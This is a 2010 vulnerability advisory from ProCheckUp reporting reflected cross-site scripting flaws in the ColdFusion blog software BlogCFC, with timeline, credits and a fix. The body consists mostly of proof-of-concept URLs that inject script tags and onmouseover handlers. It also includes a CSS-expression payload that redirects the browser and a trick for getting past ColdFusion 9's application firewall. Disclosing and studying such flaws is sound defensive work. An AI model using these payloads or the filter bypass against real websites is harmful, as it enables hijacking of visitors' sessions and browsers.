PR10-10 Various Cross-Site Scripting Vulnerabilities (XSS) within BlogCFC

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http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-10



PR10-10 Various XSS within BlogCFC



* Advisory publicly released: Tuesday, 14 December 2010
* Vulnerability found: Sunday, 2 May 2010
* Vendor informed: Monday, 3 May 2010
* Vulnerability fixed: Wednesday, 19 May 2010
* Severity level: Medium

* Credits


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com<http://www.procheckup.com>)

* Description
BlogCFC is a ColdFusion based blogging System.Procheckup has discovered that Various BlogCFC programs are vulnerable to 
generic reflective Cross Site Scripting (XSS) attacks.



Note: BlogCFC was tested on a fully patched Windows XP machine, ColdFusion 8 (unpatched) and SQL 2005 were used from 
the application server and the backend database.



Note: Coldfusion 9 includes a application firewall and will replace any <script> tag, To circumvent this the

      <script>alert(1)</script> needs to be substituted with a tag not on the match list like 
</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/";)> (this works on IE7 & IE6)

      BlogCFC Versions tested
      5.9.6.001

    * Proof of concept
      Unauthenticated vanilla XSS. IE7 (Internet Explorer) browser used.

      http://target-domain.foo/tags/podlayout.cfm?ATTRIBUTES.TITLE=<script>alert(1)</script>&thistag.EXECUTIONMODE=start

      
http://target-domain.foo/tags/textarea.cfm?attributes.class=";></textarea><script>alert(1)</script>&attributes.fieldname=Procheckup&attributes.style=1&attributes.value=1&

      http://target-domain.foo/includes/pods/subscribe.cfm?errorMessage=";><script>alert(1)</script>

      http://target-domain.foo/index.cfm?errorMessage=";><script>alert(1)</script>

      The following works due to the error page not sufficiently filtering tags on unpatched Coldfusion 8
      http://target-domain.foo/stats.cfm?dur=&apos;</XSS STYLE=xss:expression(location='http://www.procheckup.com&apos;)>



      The following examples the Mouse has to be moved over the subscribe input box

      http://target-domain.foo/includes/pods/subscribe.cfm?"onmouseover="alert(1);

      http://target-domain.foo/index.cfm?"onmouseover="alert(1);

      http://target-domain.foo/search.cfm?"onmouseover="alert(1);

      http://target-domain.foo/stats.cfm?"onmouseover="alert(1);

      http://target-domain.foo/statsbyyear.cfm?"onmouseover="alert(1);

      http://target-domain.foo/tags/getpods.cfm?"onmouseover="alert(1);
    * How to fix
      Apply the latest patched version.
    * References

    * Legal
      Copyright 2010 Procheckup Ltd. All rights reserved.

      Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of 
alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to 
Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

      Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by 
any third party.

      Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of 
alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to

      Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

      Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by 
any third party.

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